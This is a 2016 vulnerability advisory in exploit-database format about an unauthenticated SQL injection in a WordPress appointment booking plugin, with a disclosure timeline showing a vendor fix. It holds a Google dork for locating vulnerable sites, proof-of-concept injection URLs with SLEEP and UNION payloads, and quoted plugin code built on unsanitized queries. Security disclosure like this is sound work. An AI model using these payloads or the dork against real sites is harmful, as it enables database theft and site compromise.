WordPress Appointment Booking Calendar 1.1.23 SQL Injection

`# Exploit Title: WordPress appointment-booking-calendar <=1.1.23 - Unauthenticated SQL injection  
# Date: 2016-01-26  
# Google Dork: Index of /wordpress/wp-content/plugins/appointment-booking-calendar/  
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ] --[now i0 security-lab]  
# Software Link: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form  
# Vendor: CodePeople.net  
# Vebdor URI: http://codepeople.net  
# Version: 1.1.23  
# OWASP Top10: A1-Injection  
# Tested on: windows 10 + firefox + sqlmap 1.0.  
  
===================  
PRODUCT DESCRIPTION  
===================  
"Appointment Booking Calendar is a plugin for **accepting online bookings** from a set of **available time-slots in   
a calendar**. The booking form is linked to a **PayPal** payment process.  
  
You can use it to accept bookings for medical consultation, classrooms, events, transportation and other activities  
where a specific time from a defined set must be selected, allowing you to define the maximum number of bookings   
that can be accepted for each time-slot."  
  
(copy of readme file)  
  
  
======================  
EXPLOITATION TECHNIQUE  
======================  
remote  
  
==============  
SEVERITY LEVEL  
==============  
  
critical  
  
================================  
TECHNICAL DETAILS && DESCRIPTION  
================================  
  
A unauthenticated SQL injection flaw was discovered within the latest WordPress   
appointment-booking-calendar plugin version 1.1.23.  
  
The flaw were found in the function that is executed when the action ´cpabc_appointments_check_IPN_verification´ is called.  
The action is added with ´init´ tag, so it function is called every time when parameter ´action=cpabc_appointments_check_IPN_verification´  
appear in the query string (GET request) or POST request.  
  
But for to execute the vulnerable line of code, an attacker need to carry out some conditions:  
- The query string must contain the ´cpabc_ipncheck´ parameter.  
- The ´cpabc_ipncheck´ must have the value ´1´.  
- The query string must contain the ´itemnumber´ parameter (it is necessary for injection).  
  
By having all those rules, the attacker can exploit the vulnerability.  
  
The security risk of SQL injection vulnerabilities are extremely because by using this type of flaw, an attacker  
can compromise the entire web server.  
  
================  
PROOF OF CONCEPT  
================  
  
An unauthenticated attacker can make a request like...  
  
http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=cpabc_appointments_check_IPN_verification  
&cpabc_ipncheck=1&itemnumber=<SQL commands>  
  
Example:  
  
Exploiting simple SQL injection:  
  
http://localhost/wordpress/wp-admin/admin-ajax.php?action=cpabc_appointments_check_IPN_verification  
&cpabc_ipncheck=1&itemnumber=(SELECT * FROM (SELECT(SLEEP(5)))Qmyx)  
  
Exploiting second order SQL injection with ´CHAR´ function will append ´0 or sleep(10)#´ to second sql statement:  
  
http://localhost/wordpress4.0.1/wp-admin/admin-ajax.php?action=cpabc_appointments_check_IPN_verification  
&cpabc_ipncheck=1&itemnumber=-1 UNION SELECT 1,CHAR (48,32,111,114,32,115,108,101,101,112,40,49,48,41,35),3,4,5,6,7,8,9,10,11#  
  
  
  
===============  
VULNERABLE CODE  
===============  
  
located in ´cpabc_appointments.php´  
  
function cpabc_appointments_check_IPN_verification() {  
  
global $wpdb;  
  
if ( ! isset( $_GET['cpabc_ipncheck'] ) || $_GET['cpabc_ipncheck'] != '1' || ! isset( $_GET["itemnumber"] ) )  
return;  
...  
  
//HERE IS SANITIZED (when we inject a sql statement the `intval` function value turn to 0 and never is executed the `if` code)  
$myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_TDEAPP_CALENDAR_DATA_TABLE." WHERE reference='".intval($itemnumber[0])."'" );  
if (count($myrows))  
{  
echo 'OK - Already processed';  
exit;  
}  
//BUT HERE THE PARAMETER IS PASSED WITHOUT SANITIZATION  
cpabc_process_ready_to_go_appointment($_GET["itemnumber"], $payer_email);  
  
echo 'OK';  
  
exit();  
  
}  
  
  
Now let's verify the ´cpabc_process_ready_to_go_appointment´ function...  
  
function cpabc_process_ready_to_go_appointment($itemnumber, $payer_email = "")  
{  
global $wpdb;  
  
...  
  
$itemnumber = explode(";",$itemnumber); //CONVERTING INTO AN ARRAY THE SUPPLIED PARAMETER  
$myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_APPOINTMENTS_TABLE_NAME." WHERE id=".$itemnumber[0] ); //THERE IS NO SANITIZATION  
  
//NEXT INSTRUCTION IS USEFUL FOR SECOND ORDER SQL INJECTION  
$mycalendarrows = $wpdb->get_results( 'SELECT * FROM '.CPABC_APPOINTMENTS_CONFIG_TABLE_NAME .' WHERE `'.CPABC_TDEAPP_CONFIG_ID.'`='.$myrows[0]->calendar);  
$reminder_timeline = date( "Y-m-d H:i:s", strtotime (date("Y-m-d H:i:s")." +".$mycalendarrows[0]->reminder_hours." hours") );  
if (!defined('CP_CALENDAR_ID'))  
define ('CP_CALENDAR_ID',$myrows[0]->calendar);  
  
...  
  
$params = unserialize($myrows[0]->buffered_date); //POTENTIAL RISKY `unserialize` METHOD CALLED use json functions instead  
$attachments = array();  
foreach ($params as $item => $value)  
{  
$email_content1 = str_replace('<%'.$item.'%>',(is_array($value)?(implode(", ",$value)):($value)),$email_content1);  
$email_content2 = str_replace('<%'.$item.'%>',(is_array($value)?(implode(", ",$value)):($value)),$email_content2);  
$email_content1 = str_replace('%'.$item.'%',(is_array($value)?(implode(", ",$value)):($value)),$email_content1);  
$email_content2 = str_replace('%'.$item.'%',(is_array($value)?(implode(", ",$value)):($value)),$email_content2);  
if (strpos($item,"_link"))  
$attachments[] = $value;  
}  
$buffered_dates = array();  
for ($n=0;$n<count($itemnumber);$n++)  
{  
  
//USEFUL FOR SECOND ORDER SQL INJECTION  
$myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_APPOINTMENTS_TABLE_NAME." WHERE id=".$itemnumber[$n] );  
$buffered_dates[] = $myrows[0]->booked_time;  
$information = $mycalendarrows[0]->uname."\n".  
$myrows[0]->booked_time."\n".  
($myrows[0]->name?$myrows[0]->name."\n":"").  
$myrows[0]->email."\n".  
($myrows[0]->phone?$myrows[0]->phone."\n":"").  
$myrows[0]->question."\n";  
  
...  
  
//USEFUL FOR STORED CROSS-SITE SCRIPTING  
$rows_affected = $wpdb->insert( CPABC_TDEAPP_CALENDAR_DATA_TABLE, array( 'appointment_calendar_id' => $myrows[0]->calendar,  
'datatime' => date("Y-m-d H:i:s", strtotime($myrows[0]->booked_time_unformatted)),  
'title' => $myrows[0]->email,  
'reminder' => $reminder,  
'quantity' => (isset($myrows[0]->quantity)?$myrows[0]->quantity:1),  
'description' => str_replace("\n","<br />", $information),  
'reference' => $itemnumber[$n]  
) );  
  
}  
}  
  
  
  
==========  
CREDITS  
==========  
  
Vulnerability discovered by:  
Joaquin Ramirez Martinez [i0 security-lab]  
joaquin.ramirez.mtz.lab[at]gmail[dot]com  
https://www.facebook.com/I0-security-lab-524954460988147/  
https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q  
  
  
========  
TIMELINE  
========  
  
2016-01-08 vulnerability discovered  
2016-01-24 reported to vendor  
2016-01-25 released appointment-booking-calendar 1.1.24  
2016-01-26 full disclosure  
`